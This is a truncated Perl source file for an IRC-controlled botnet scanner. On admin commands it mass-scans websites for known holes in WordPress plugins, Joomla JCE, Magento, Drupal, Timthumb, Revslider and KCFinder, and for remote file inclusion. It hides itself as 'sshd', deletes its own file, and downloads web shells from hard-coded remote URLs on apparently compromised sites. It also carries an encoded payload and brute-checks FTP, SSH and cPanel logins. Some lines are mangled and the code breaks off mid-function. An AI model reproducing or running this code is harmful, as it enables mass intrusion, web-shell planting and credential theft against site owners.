#!/usr/bin/perl ##################################### # EDITING BYPASS # ##################################### ###[ PRIVATE SCANNER BY DLC TEAM ]### ######################################### #perl file.txt server ident channel nick# ######################################### use IO::Socket; use IO::Socket::INET; use IO::Select; use Socket; use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use MIME::Base64; use URI::Escape; #use DBI; use Digest::MD5 qw(md5_hex); use Net::FTP; use HTTP::Cookies; #use DBD::mysql; #use MIME::Lite; ##[ RESPONSER ]## my $rfirid = "http://dausa.lt/css/idr?"; # http://www.troutfishingnz.com/shop/js/idr? my $timrid = "http://flicker.com.groundup.coffee/cia.php"; my $md5rid = md5_hex($timrid); my $shellx = $timrid; my $ftptest = "http://lppm.teknokrat.ac.id/media/system/js/ftptest.php"; #"http://lppm.teknokrat.ac.id/media/system/js/ftptest.php"; #"http://lppm.teknokrat.ac.id/media/system/js/ftptest.php"; my $cpxtest = "http://lppm.teknokrat.ac.id/media/system/js/ftptest.php"; #"http://lppm.teknokrat.ac.id/media/system/js/ftptest.php"; my $sshtest = ""; #---------- Contact mocha for it my $proxy = "http://www.polca.fr/assets/tools/proxy.php"; # http://www.polca.fr/assets/tools/sinfinChimp/proxy.php my $phpbot = "http://vescomark.com//REV/error_log"; my $shopliftxpl = "http://krasivyidom.kz/skin/conf.php"; my $ppp = "http://flicker.com.groundup.coffee/demit.aff"; ##[ STATUS ]## my $hideps = 'sshd'; my $server = $ARGV[0]; my $port = $ARGV[1]; my $nicks = $ARGV[2]; my $ident = $ARGV[3]; my $chanx = "#".$ARGV[4]; my $cpass = ""; my $admin = "KosoWaR"; my $wakil = ""; my $cookietmp = "/tmp/LOTNOKXUM5HAM3C.temp"; my $nicku = $nicks; my $mageforce = 0; my $spread = 1; my $goomode = 1; my $spread = 1; my $cpxcheck = 1; my $sshcheck = 1; my $sqlview = 1; my $coms = "rUl4eNswFP1e6H9DtYAdS5M0MBhssWmQ7dPYkjHY2m8kI8lYO8eWEzF79L/vXslB5KbtniGQyDrn3GYl3St4IbiIhI65Q4Z6wk5qfHzUqWuuJZmSSoaZdaNIGMi00BE+DhBgChKeOEeX/Dg+IvDpIAQ4Z/5huYi+XHxLkBG5Sy4p4O+ILqV+GmxhgcdUOttlTydbSJWziTKq1LMPn9+TuaniRZP5SZflpO+eQtY8vyVF3ZZtGqzT7PtT8ITlo3TD4WNZMl5lMU0Lvm/jALBvhhF3+YIz1TA9IOJzlPR3jz1A9tc7YSdYUZRVLdB8iDBLmwgeCs2UnQi7yOn+c6C3KDUiicmntUtoCwMrso8FgnHjUDYPTnyfvxOapZWG2CgaYuMowbFmf6AUgJKoVaXVloON1xfzN5SkmTKcWimd+WSoF4dvnPe8qkWWN5oTw+JREWgbA0npG1IJBgZeldP27DxMSnM/72co+ZqWCYwXWXYBjD5NmwX3rHeWOZEqKZWJRqEs7jRCSNpLYvLBZ57O4Xpc8jQnWEZ3m1QfwQfpeVqeeEnblc58C0MAv57GWsMhJdJ809PhWKf2lIlmvbLkEfE9a/K4mkHu7FIdhukV/nbbY9ZVSaZFQelN7ZbUpdlNRkrpU1d1AZ0ISuoyY/zguruv/MQyZoNoEa/gY47dhHgT9qRaVsOvWoFAw7caO9Ty0+fF/DJ1lii4BorF16Jq7qfiX2jkAus8T3H4IEpIZOT4z32jPRfRavqfFFt21ZWIm7thl+KzbzAIaVQrBe3cLzybdqt4/k9hMChpZfMky7SUUWRb34cm75dsva5qD+9rXXutLYdt9fYUU7v9qT3GT88e70B1WG8rj/SNzk+Uq3uPO9d9pO9iDt/Tx1IT0LfDK3h0P/lCYWv1VGEMK2vLDo+hE1kJnpjIXhEgA0qEDHav14cvjAuzVlGKjagH/Zdpfb+Wf2N6/loqTimDVEU5PioS5jqhrdn9Ta5jeMFpaa+UOwk8l1eImMsQbs9W0A/aB77GnUtgqZnFaMkpOXjB8CO0VwRm8W2oNN7PHx79ewwf60rLIz7p1RXdGzXFAx5Cz7o//Ag95IwbaHSn5WAX2H966eMrCSyzfX2h458="; my $badx = "\.google\.|yahoo\.|bing\.com|lycos\.com|youtube\.|microsoft\.com|microsofttranslator\.com|github\.|stackoverflow\.|baidu\.|sougou\.|\.aol\.com|\.ask\.com|seznam\.|facebook\.com|wikipedia\.org|\.answers\.com"; my $datestring = localtime(); my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(); my @months = qw(01 02 03 04 05 06 07 08 09 10 11 12); ($second, $minute, $hour, $dayOfMonth, $month, $yearOffset, $dayOfWeek, $dayOfYear, $daylightSavings) = localtime(); $year = 1900 + $yearOffset; $month = "$months[$month] "; my $datetime = localtime; ##[ BYPASS ENGINE ]## my @bypass = ("2011.justonemore.info", "thomastaylor.me", "ccr-cornerstone.com", "www.misssantacatarinaoficial.com.br/portal", "bio-metrica.com", "castillodelrey.org.mx", "www.sanitecuniforms.ca", "www.nitrosin.com.br/site", "www.fruteradelinca.com.pe/espanol", "blog.hybridstudio.ro", "armphotography.co.uk/ARM", "www.sheisgonnamarry.me", "www.barnclub.it/wp", "oneearthfinancial.net/wordpress", "tommyatlas.com", "thompsoncoaching.com/opera/wordpress", "ortegaseguridadalimentaria.com", "www.jumjum.ae", "www.mongdoofurniture.com", "www.sauvonslewacken.org", "colegiulmihailcantacuzino.ro", "www.centralfafram.feituverava.com.br", "www.gabonadepo.hu/teszt", "www.perucomputec.com/drivers", "stainlessbikeracks.com/blog", "purlibra.1secret.net", "deathkissmedia.co.uk", "www.retoshipping.com", "mamansactives.fr", "www.umraniyearcelikservisi.name", "hotelkochili.gr", "aviationchemicalsolutions.com/main", "clarkeography.com", "www.oxlink.com.br", "www.directmarketingdata.co.za", "www.queenofheartspoker.net/wordpress", "www.studioats.com", "itiklima.pl", "bigpcdeals.com/business", "purlibra.1secret.net", "www.hilling-fotografie.de", "www.playslashpause.com", "mentormebaby.com", "instytutjp2.pl", "www.telling.ee", "zspprabuty.pl", "www.playslashpause.com", "www.hilling-fotografie.de", "bigpcdeals.com/business", "www.studioats.com" ); my $bypass_path = "/wp-admin/includes/class-wp-grabber.php"; ##[ RANDOM BYPASS ]## my $GooCOM = $bypass[rand(scalar(@bypass))]; my $GooORG = $bypass[rand(scalar(@bypass))]; my $GooNET = $bypass[rand(scalar(@bypass))]; my $GooBIZ = $bypass[rand(scalar(@bypass))]; my $GooCAT = $bypass[rand(scalar(@bypass))]; my $GooEDU = $bypass[rand(scalar(@bypass))]; my $GooXYZ = $bypass[rand(scalar(@bypass))]; my $GooINFO = $bypass[rand(scalar(@bypass))]; my $GooNAME = $bypass[rand(scalar(@bypass))]; my $GooID = $bypass[rand(scalar(@bypass))]; my $GooZA = $bypass[rand(scalar(@bypass))]; my $GooRU = $bypass[rand(scalar(@bypass))]; my $GooRO = $bypass[rand(scalar(@bypass))]; my $GooJP = $bypass[rand(scalar(@bypass))]; my $GooMY = $bypass[rand(scalar(@bypass))]; my $GooCZ = $bypass[rand(scalar(@bypass))]; my $GooAU = $bypass[rand(scalar(@bypass))]; my $GooFR = $bypass[rand(scalar(@bypass))]; my $GooBE = $bypass[rand(scalar(@bypass))]; my $GooUK = $bypass[rand(scalar(@bypass))]; my $GooDE = $bypass[rand(scalar(@bypass))]; my $GooIL = $bypass[rand(scalar(@bypass))]; my $GooAT = $bypass[rand(scalar(@bypass))]; my $GooBR = $bypass[rand(scalar(@bypass))]; my $GooHU = $bypass[rand(scalar(@bypass))]; my $GooAR = $bypass[rand(scalar(@bypass))]; my $GooIT = $bypass[rand(scalar(@bypass))]; my $GooPL = $bypass[rand(scalar(@bypass))]; my $GooMX = $bypass[rand(scalar(@bypass))]; my $GooBG = $bypass[rand(scalar(@bypass))]; my $GooTR = $bypass[rand(scalar(@bypass))]; my $GooHR = $bypass[rand(scalar(@bypass))]; my $GooCL = $bypass[rand(scalar(@bypass))]; my $GooCA = $bypass[rand(scalar(@bypass))]; my $GooSK = $bypass[rand(scalar(@bypass))]; my $GooUS = $bypass[rand(scalar(@bypass))]; my $GooIR = $bypass[rand(scalar(@bypass))]; my $GooDK = $bypass[rand(scalar(@bypass))]; my $GooUA = $bypass[rand(scalar(@bypass))]; my $GooCO = $bypass[rand(scalar(@bypass))]; my $GooIN = $bypass[rand(scalar(@bypass))]; my $GooLV = $bypass[rand(scalar(@bypass))]; my $GooTH = $bypass[rand(scalar(@bypass))]; my $GooCN = $bypass[rand(scalar(@bypass))]; my $GooHK = $bypass[rand(scalar(@bypass))]; my $GooKR = $bypass[rand(scalar(@bypass))]; my $GooVN = $bypass[rand(scalar(@bypass))]; my $GooLT = $bypass[rand(scalar(@bypass))]; my $GooSG = $bypass[rand(scalar(@bypass))]; my $GooTV = $bypass[rand(scalar(@bypass))]; my $GooCH = $bypass[rand(scalar(@bypass))]; my $GooWS = $bypass[rand(scalar(@bypass))]; my $GooPT = $bypass[rand(scalar(@bypass))]; my $GooNZ = $bypass[rand(scalar(@bypass))]; my $GooEE = $bypass[rand(scalar(@bypass))]; my $GooFI = $bypass[rand(scalar(@bypass))]; my $GooCC = $bypass[rand(scalar(@bypass))]; my $GooBY = $bypass[rand(scalar(@bypass))]; my $GooPY = $bypass[rand(scalar(@bypass))]; my $GooTW = $bypass[rand(scalar(@bypass))]; my $GooES = $bypass[rand(scalar(@bypass))]; my $GooCR = $bypass[rand(scalar(@bypass))]; my $GooVE = $bypass[rand(scalar(@bypass))]; my $GooGR = $bypass[rand(scalar(@bypass))]; my $GooNL = $bypass[rand(scalar(@bypass))]; my $GooIE = $bypass[rand(scalar(@bypass))]; my $GooSE = $bypass[rand(scalar(@bypass))]; my $GooNO = $bypass[rand(scalar(@bypass))]; my $GooPE = $bypass[rand(scalar(@bypass))]; my $GooPA = $bypass[rand(scalar(@bypass))]; my $GooEU = $bypass[rand(scalar(@bypass))]; my $GooLU = $bypass[rand(scalar(@bypass))]; my $GooME = $bypass[rand(scalar(@bypass))]; my $GooUY = $bypass[rand(scalar(@bypass))]; my $GooMD = $bypass[rand(scalar(@bypass))]; my $GooBD = $bypass[rand(scalar(@bypass))]; my $GooRS = $bypass[rand(scalar(@bypass))]; my $GooBA = $bypass[rand(scalar(@bypass))]; my $GooDZ = $bypass[rand(scalar(@bypass))]; my $GooBZ = $bypass[rand(scalar(@bypass))]; my $GooUZ = $bypass[rand(scalar(@bypass))]; my $GooNP = $bypass[rand(scalar(@bypass))]; my $GooCY = $bypass[rand(scalar(@bypass))]; my $GooUG = $bypass[rand(scalar(@bypass))]; my $GooNG = $bypass[rand(scalar(@bypass))]; my $GooPH = $bypass[rand(scalar(@bypass))]; my $GooKH = $bypass[rand(scalar(@bypass))]; my $GooPK = $bypass[rand(scalar(@bypass))]; my $GooMK = $bypass[rand(scalar(@bypass))]; my $GooIS = $bypass[rand(scalar(@bypass))]; my $GooSI = $bypass[rand(scalar(@bypass))]; my $GooSV = $bypass[rand(scalar(@bypass))]; my $GooAZ = $bypass[rand(scalar(@bypass))]; my $GooHN = $bypass[rand(scalar(@bypass))]; my $GooAE = $bypass[rand(scalar(@bypass))]; my $GooGE = $bypass[rand(scalar(@bypass))]; my $GooIO = $bypass[rand(scalar(@bypass))]; my $GooTO = $bypass[rand(scalar(@bypass))]; my $GooAO = $bypass[rand(scalar(@bypass))]; ##[ FORK UTAMA ]## system("rm -f ma mi mu me mo $$ 2> /dev/null"); unlink("$0"); $ARGC=@ARGV; if($ARGC != 5){ print "[X] perl $0 [server] [port] [nick] [ident] [chan]\n"; exit; } $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'INT'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; $0 = "$hideps"."\0"x16;; my $sock; my $explcounts = 100; my @User_Agent = &Agent(); my @Mobi_Agent = &Mobile(); my $out = 0; my $pid = fork(); if($pid == 0){ while ($out != 1){ &connectirc($nicku, $ident, $chanx, $server, $port); } } else { die("[X] Ga konek\n"); exit; } ##[ KONEKSI ]## sub connectirc(){ my($nicku, $ident, $chanx, $server, $port)=@_; $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"$port"); $sock->autoflush(1); system("rm -f ma mi mu me mo $$ 2> /dev/null"); chdir("/tmp"); ##[ KIRIMAN ]## &cmdraw("NICK $nicku"); &cmdraw("USER $ident 8 * :$nicku "); while($command = <$sock>){ ##[ JOINMSG ]## if($command =~ /^PING \:(.+)/){ &cmdraw("PONG :$1"); } if($command =~ m/^\:(.+?)\s+433/i) { $nicku = $nicks."[".int(rand(9)).int(rand(9))."]"; &nickx($nicku); } if($command =~ /003/){ #&cmdraw("OPER "); &cmdraw("MODE $nicku -x"); &joinx("$chanx $cpass"); &cmdraw("MODE $chanx +vv $nicku $nicku"); &partx("#help 4,1S7C8a15N 4S7C8a15N 4S7C8a15N"); system("pkill php 2>/dev/null"); } ##[ PERINTAH ]## if($command =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/){ my($nick, $ident, $host, $path, $msg) = ($1, $2, $3, $4, $5); if(&isAdmin($nick) && $msg =~ /\!rfi\s+(.*?)\s+(.*)/){ if(fork() == 0){ my($bug, $dork)=($1, $2); &RFIScan($bug, $dork); exit; } } if(&isAdmin($nick) && $msg =~ /\!autorfi\s+(.*?)\s+(.*)/){ if(fork() == 0){ my($bug, $dork)=($1, $2); &AutoRFI($bug, $dork); exit; } } if(&isAdmin($nick) && $msg =~ /\!rfidork\s+(.*)/){ my $urlrfi = $1; if($urlrfi !~ /^http:\/\//){ &message($chanx,"![4X]! URL salah!"); } else { if(fork() == 0){ getstore($urlrfi, "RFI.DB"); open (DORKFILE, "; close DORKFILE; my $prorfi = fork(); foreach my $list (@LISTS){ chomp $list; $bugdork = $list; if($prorfi == 0){ $bugdork =~ s/\.scan\s+//g; $bugdork =~ s/\.rfi\s+//g; $bugdork =~ s/\!scan\s+//g; $bugdork =~ s/\!rfi\s+//g; $bugdork =~ s/\"//g; $bugdork =~ s/\r//g; $bugdork =~ s/\n//g; if($bugdork =~ /^(.*?)\s+(.*)/){ my $bugs = $1; my $doks = $2; $bugs =~ s/ //g; my $chkdork = &ReadLogs("RFI.LOG", $doks); if($chkdork == 1){ &message($chanx,"![4RFI]! ".$doks." => Searching next dork ![4*]!"); } else { &WriteLogs("RFI.LOG", $doks); &RFIScan($bugs, $doks); } } } waitpid($prorfi,0); } exit; } } } if(&isAdmin($nick) && $msg =~ /\!tim\s+(.*)/){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("TIM.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4TIM]! Already scanned => Try another dork ![4*]!"); } else { &WriteLogs("TIM.LOG", $dork); &TIMScan($dork); } exit; } } if(&isAdmin($nick) && $msg =~ /\!autotim\s+(.*)/){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("TIM.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4TIM]! Already scanned => Try another dork ![4*]!"); } else { &WriteLogs("TIM.LOG", $dork); &AutoTIM($dork); } exit; } } if(&isAdmin($nick) && $msg =~ /\!timdork\s+(.*?)\s+(.*)/){ my $urltim = $1; my $prefix = $2; if($urltim !~ /^http:\/\//){ &message($chanx,"![4X]! URL salah!"); } else { if(fork() == 0){ &message($chanx,"![4TAM]! This is an automatic scan! It will finish within 1-5 days, depending on the dork list. ![4*]!"); getstore($urltim, "TIM.DB"); open (DORKFILE, "; close DORKFILE; my $protim = fork(); foreach my $list (@LISTS){ chomp $list; $bugdork = $list; if($protim == 0){ if($bugdork =~ /\"(.*?)\"/){ my $dokr = $1; if($dokr =~ /\/themes\/(.+?)\//){ $dokr = "".$1; } elsif($dokr =~ /\/plugins\/(.*?)\//){ $dokr = $1; } $dokr =~ s/\/themes\///g; # <------------------------------------------------------------- $dokr =~ s/\/plugins\///g; # <------------------------------------------------------------ my $chkdork = &ReadLogs("TIM.LOG", $dokr." ".$prefix); if($chkdork == 1){ &message($admin,"![4TAM]! ".$dokr." ".$prefix." => Searching next dork ![4*]!"); } else { &WriteLogs("TIM.LOG", $dokr." ".$prefix); &TAMScan($dokr." ".$prefix); } } elsif($bugdork =~ /\/themes\/(.+?)\//){ my $doks = $1; $doks =~ s/\/themes\///g; # <------------------------------------------------------------- $doks =~ s/\/plugins\///g; # <------------------------------------------------------------ my $chkdork = &ReadLogs("TIM.LOG", $doks." ".$prefix); if($chkdork == 1){ &message($admin,"![4TAM]! ".$doks." ".$prefix." => Searching next dork ![4*]!"); } else { &WriteLogs("TIM.LOG", $doks." ".$prefix); &TAMScan("".$doks." ".$prefix); } } elsif($bugdork =~ /\/plugins\/(.+?)\//){ my $doks = $1; $doks =~ s/\/plugins\///g; # <------------------------------------------------------------- my $chkdork = &ReadLogs("TIM.LOG", $doks." ".$prefix); if($chkdork == 1){ &message($admin,"![4TAM]! ".$doks." ".$prefix." => Searching next dork ![4*]!"); } else { &WriteLogs("TIM.LOG", $doks." ".$prefix); &TAMScan($doks." ".$prefix); } } } waitpid($protim,0); } exit; } } } if(&isAdmin($nick) && $msg =~ /\!jce\s+(.*)/){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("JCE.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4JCE]! Already scanned => Try another dork ![4*]!"); } else { &WriteLogs("JCE.LOG", $dork); &JCEScan($dork); } exit; } } if(&isAdmin($nick) && $msg =~ /\!dru\s+(.*)/){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("DRU.LOG", $dork); if($chkdork == 1){ &message($chanx,"![3DRUPAL]! Already scanned => Try another dork ![4*]!"); } else { &WriteLogs("DRU.LOG", $dork); &DRUScan($dork); } exit; } } if(&isAdmin($nick) && $msg =~ /\!drudork\s+(.*)/){ my $urldru = $1; if($urldru !~ /^http:\/\//){ &message($chanx,"![4X]! URL salah!"); } else { if(fork() == 0){ getstore($urldru, "DRU.DB"); open (DORKFILE, "; close DORKFILE; my $prodru = fork(); foreach my $list (@LISTS){ chomp $list; $doks = "/node/".int(rand(99)); if($prodru == 0){ my $chkdork = &ReadLogs("DRU.LOG", $list); if($chkdork == 1){ &message($admin,"![4DRU]! ".$doks." => Searching next dork ![4*]!"); } else { system("ps x | grep '$hideps' | grep -v '$$' | cut -d '?' -f 1 | xargs kill -9"); &message($chanx,"![3REFRESH]! All process stoped! ![3*]!"); &WriteLogs("DRU.LOG", $list); &DRUScan($doks); } } waitpid($prodru,0); } exit; } } } if(&isAdmin($nick) && $msg =~ /\!jcedork\s+(.*)/){ my $urljce = $1; if($urljce !~ /^http:\/\//){ &message($chanx,"![4X]! URL salah!"); } else { if(fork() == 0){ getstore($urljce, "JCE.DB"); open (DORKFILE, "; close DORKFILE; my $projce = fork(); foreach my $list (@LISTS){ chomp $list; $doks = "".$list." +id=".int(rand(50))." +Itemid, ".int(rand(100)); if($projce == 0){ my $chkdork = &ReadLogs("JCE.LOG", $list); if($chkdork == 1){ &message($chanx,"![4JCE]! ".$doks." => Searching next dork ![4*]!"); } else { &WriteLogs("JCE.LOG", $list); &JCEScan($doks); } } waitpid($projce,0); } exit; } } } if(&isAdmin($nick) && $msg =~ /\!afd\s+(.*)/){ if(&isAdmin($nick)){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("AFD.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4AFD]! Already scanned => Try another dork ![4*]!"); } else { &WriteLogs("AFD.LOG", $dork); &AFDScan($dork); } exit; } } else { &message($chanx,"![4AFD]! Only admin can use this command ![4*]!"); } } if(&isAdmin($nick) && $msg =~ /\!wfd\s+(.*?)\s+(.*)/){ if(&isAdmin($nick)){ if(fork() == 0){ my $bug = $1; my $dork = $2; my $chkdork = &ReadLogs("WFD.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4WFD]! Already scanned => Try another dork ![4*]!"); } else { &WriteLogs("WFD.LOG", $dork); &WFDScan($bug, $dork); } exit; } } else { &message($chanx,"![4WFD]! Only admin can use this command ![4*]!"); } } if(&isAdmin($nick) && $msg =~ /\!msl\s+(.*)/){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("MSL.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4MSL]! Already scanned => Try another dork ![4*]!"); } else { my $magid = &Query($ftptest); if($magid =~ /DICKS LOOKING FOR CUNTS/){ &WriteLogs("MSL.LOG", $dork); &MSLScan($dork); } else { &message($chanx,"![4MAG]! FTP Checker Error ![4*]!"); } } exit; } } if(&isAdmin($nick) && $msg =~ /\!mag\s+(.*)/){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("XXE.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4XXE]! Already scanned => Try another dork ![4*]!"); } else { my $magid = &Query($ftptest); if($magid =~ /DICKS LOOKING FOR CUNTS/){ &WriteLogs("XXE.LOG", $dork); &XXEScan($dork); } else { &message($chanx,"![4MAG]! FTP Checker Error ![4*]!"); } } exit; } } if(&isAdmin($nick) && $msg =~ /\!xxe\s+(.*)/){ if(fork() == 0){ my @com = split(" ", $1); $com[0] =~ s/^http:\/\///g; if($com[1]){ my $buka = &mageQuery("http://".$com[0]."/api/xmlrpc", $com[1]); my @mago = split(/\n/,$buka); foreach my $res (@mago){ &message($chanx,"![4MAG-Query]! ".$res.""); } } else { my $buka = &mageQuery("http://".$com[0]."/api/xmlrpc", "downloader/connect.cfg"); my @mago = split(/\n/, $buka); if($buka =~ /ftp:\/\//i) { &message($chanx,"![4MAG-Query]! FTP: 3".$com[0]." => detected"); } foreach my $res (@mago){ &message($admin,"![4MAG-Query]! ".$res.""); } } exit; } } if(&isAdmin($nick) && $msg =~ /\!dzs\s+(.*)/){ if(fork() == 0){ my $dork = $1; my $chkdork = &ReadLogs("DZS.LOG", $dork); if($chkdork == 1){ &message($chanx,"![4DZS]! Already scanned => Try another dork ![4*]!"); } else { if(-e ("wpa.phtml")){ &WriteLogs("DZS.LOG", $dork); &DZSScan($dork); } else { &message($chanx,"![3X]! Source shell created => Try to re-scan ![4*]!"); getstore($shellx, "cia.phtml"); open (DORKFILE, " Try another dork ![4*]!"); } else { if(-e ("revslider.zip" && "showbiz.zip")){ &WriteLogs("REV.LOG", $dork); &REVScan($dork); } else { &message($chanx,"![3X]! Creating shell packages => Try to re-scan ![4*]!"); getstore($shellx, "cia.php"); open (DORKFILE, " <3dork> ![12?]!"); &message($chanx,"![12Help]! TIM Scan 4@14tim <3dork> - Timthumb ![12?]!"); &message($chanx,"![12Help]! JCE Scan 4@14jce <3dork> - Joomla Content Editor ![12?]!"); &message($chanx,"![12Help]! MAG Scan 4@14mag <3dork> - Magento ![12?]!"); &message($chanx,"![12Help]! MSL Scan 4@14msl <3dork> - Magento Shoplift ![12?]!"); &message($chanx,"![12Help]! AFD Scan 4@14afd <3dork> - Arbitrary File Download ![12?]!"); &message($chanx,"![12Help]! REV Scan 4@14rev <3dork> - Revslider ![12?]!"); &message($chanx,"![12Help]! KCF Scan 4@14kcf <3dork> - KCFinder ![12?]!"); &message($chanx,"![12Help]! DRUPAL Scan 4@14dru <3dork> - DRUPAL ![12?]!"); &message($chanx,"![12Help]! FTP/SSH/Cpanel Check 4@14login <3host> <3username> <3passwd> ![12?]!"); } if(&isAdmin($nick) && $msg =~ /\!cek/){ &message($chanx,"![13*]! RFI ID => 14$rfirid"); &message($chanx,"![13*]! TIM ID => 14$timrid"); &message($chanx,"![13*]! MD5 WP => 14$md5rid"); &message($chanx,"![13*]! USHELL => 14$shellx"); &message($chanx,"![13*]! XPROXY => 14$proxy"); &message($chanx,"![13*]! PHPBOT => 14$phpbot"); &message($chanx,"![13*]! FTP ID => 14$ftptest"); &message($chanx,"![13*]! CPX ID => 14$cpxtest"); &message($chanx,"![13*]! SSH ID => 14$sshtest"); } if(&isAdmin($nick) && $msg =~ /\!login\s+(.+?)\s+(.+?)\s+(.*)/){ my $host = $1; my $user = $2; my $pass = $3; $pass =~ s/\s//g; if(fork() == 0){ &MassLogin($host, $user, $pass); &message($admin,"![4CHKLOGIN]! 14".$host." 4".$user." 14".$pass." => Checking finished ![4X]!"); exit; } } if(&isAdmin($nick) && $msg =~ /\!masslogin\s+(.*)/){ my $urllog = $1; $urllog =~ s/\s//g; if($urllog !~ /^http:\/\//){ &message($admin,"![4X]! URL salah!"); } else { if(fork() == 0){ getstore($urllog, "CHK.DB"); open (DORKFILE, " Mass Login started ![4X]!"); @LISTS = ; close DORKFILE; my $masslogin = fork(); foreach my $list (@LISTS){ chomp $list; $daftar = $list; if($masslogin == 0){ $daftar =~ s/\[SSH\]\s+//g; $daftar =~ s/\[FTP\]\s+//g; $daftar =~ s/\[CPX\]\s+//g; $daftar =~ s/\"//g; $daftar =~ s/\r//g; $daftar =~ s/\n//g; if($daftar =~ /^(.*?)\s+(.*?)\s+(.*)/){ my $host = $1; my $user = $2; my $pass = $3; my $chkdork = &ReadLogs("CHK.LOG", md5_hex("".$host." ".$user." ".$pass."")); if($chkdork == 1){ #&message($admin,"![12~]! 14".$host." 4".$user." 14".$pass." => Checking next lines ![12*]!"); } else { &WriteLogs("CHK.LOG", md5_hex("".$host." ".$user." ".$pass."")); &MassLogin($host, $user, $pass); } } } waitpid($masslogin,0); } &message($admin,"![4MASSLOGIN]! Almost done => Checking finished ![4X]!"); unlink("CHK.DB"); exit; } } } if($msg =~ /\!id/){ my $idrfi = &Query($rfirid, 3); my $idtim = &Query($timrid, 3); my $pibot = &Query($phpbot, 3); my $proxi = &Query($proxy, 3); my $idftp = &Query($ftptest, 3); my $idssh = &Query($sshtest, 3); my $idcpx = &Query($cpxtest, 3); my $kcfid = &Query($ppp, 3); if($idrfi =~ /TVEgU2hlbGx6Og==/){ $idr = "3OKE"; } else { $idr = "14ERROR"; } if($idtim =~ /GIF89a/) { $idt = "3OKE"; } else { $idt = "14ERROR"; } if($kcfid =~ /GIF89a/) { $idt = "3OKE"; } else { $idt = "14ERROR"; } if($pibot =~ /db2180efe775b8addaf943c104da3df3/){ $pbs = "3OKE"; } else { $pbs = "14ERROR"; } if($proxi =~ /DICKS LOOKING FOR CUNTS/){ $prx = "3OKE"; } else { $prx = "14ERROR"; } if($idftp =~ /DICKS LOOKING FOR CUNTS/){ $idf = "3OKE"; } else { $idf = "14ERROR"; } if($idssh =~ /DICKS LOOKING FOR CUNTS/i){ $ids = "3OKE"; } else { $ids = "14ERROR"; } if($idcpx =~ /DICKS LOOKING FOR CUNTS/){ $idc = "3OKE"; } else { $idc = "14ERROR"; } if(-e ("dlc.jpg")){ $ido = "3OKE"; } else { getstore($shellx, "dlc.jpg"); open (DORKFILE, " $idr ![13*]!"); &message($chanx,"![13?]! TIM ID => $idt ![13*]!"); &message($chanx,"![13?]! USHELL => $ido ![13*]!"); &message($chanx,"![13?]! XPROXY => $prx ![13*]!"); &message($chanx,"![13?]! PHPBOT => $pbs ![13*]!"); &message($chanx,"![13?]! FTP ID => $idf ![13*]!"); &message($chanx,"![13?]! CPX ID => $idc ![13*]!"); &message($chanx,"![13?]! SSH ID => $ids ![13*]!"); &message($chanx,"![13?]! KCF ID => $idt ![13*]!"); } if(&isAdmin($nick) && $msg =~ /\!rfiid\s+(.*)/){ $rfirid = $1; &message($admin,"![13*]! RFI ID baru => 14$rfirid"); } if(&isAdmin($nick) && $msg =~ /\!timid\s+(.*)/){ $timrid = $1; $md5rid = md5_hex($1); &message($admin,"![13*]! TIM ID baru => 14$timrid"); } if(&isAdmin($nick) && $msg =~ /\!shell\s+(.*)/){ $shellx = $1; &message($admin,"![13*]! SHELL ID baru => 14$shellx"); } if(&isAdmin($nick) && $msg =~ /\!proxy\s+(.*)/){ $proxy = $1; &message($admin,"![13*]! PROXY baru => 14$proxy"); } if(&isAdmin($nick) && $msg =~ /\!phpbot\s+(.*)/){ $phpbot = $1; &message($admin,"![13*]! PHPBOT baru => 14$phpbot"); } if(&isAdmin($nick) && $msg =~ /\!ftpcek\s+(.*)/){ $ftptest = $1; &message($admin,"![13*]! FTP CEK baru => 14$ftptest"); } if(&isAdmin($nick) && $msg =~ /\!sshcek\s+(.*)/){ $sshtest = $1; &message($admin,"![13*]! SSH CEK baru => 14$sshtest"); } if(&isAdmin($nick) && $msg =~ /\!cpxcek\s+(.*)/){ $cpxtest = $1; &message($admin,"![13*]! CPX CEK baru => 14$cpxtest"); } if(&isAdmin($nick) && $msg =~ /\!google\s+(.*)/){ $modes = $1; if($modes =~ /OFF/i){ $goomode = 0; &message($chanx,"![13SE]! Google domain => 14OFF"); } if($modes =~ /ON/i){ $goomode = 1; &message($chanx,"![13SE]! Google domain => 3ON"); } } if(&isAdmin($nick) && $msg =~ /\!db\s+(.*)/){ $modes = $1; if($modes =~ /OFF/i){ $sqlview = 0; &message($chanx,"![13DB]! MySQL Login => 14OFF"); } if($modes =~ /ON/i){ $sqlview = 1; &message($chanx,"![13DB]! MySQL Login => 3ON"); } } if(&isAdmin($nick) && $msg =~ /\!cpxtest\s+(.*)/){ $modes = $1; if($modes =~ /OFF/i){ $cpxcheck = 0; &message($chanx,"![13CPX]! CPanel Login => 14OFF"); } if($modes =~ /ON/i){ $cpxcheck = 1; &message($chanx,"![13CPX]! CPanel Login => 3ON"); } } if(&isAdmin($nick) && $msg =~ /\!sshtest\s+(.*)/){ $modes = $1; if($modes =~ /OFF/i){ $sshcheck = 0; &message($chanx,"![13SSH]! SSH Login => 14OFF"); } if($modes =~ /ON/i){ $sshcheck = 1; &message($chanx,"![13SSH]! SSH Login => 3ON"); } } if(&isAdmin($nick) && $msg =~ /\!mageforce\s+(.*)/){ $modes = $1; if($modes =~ /OFF/i){ $mageforce = 0; 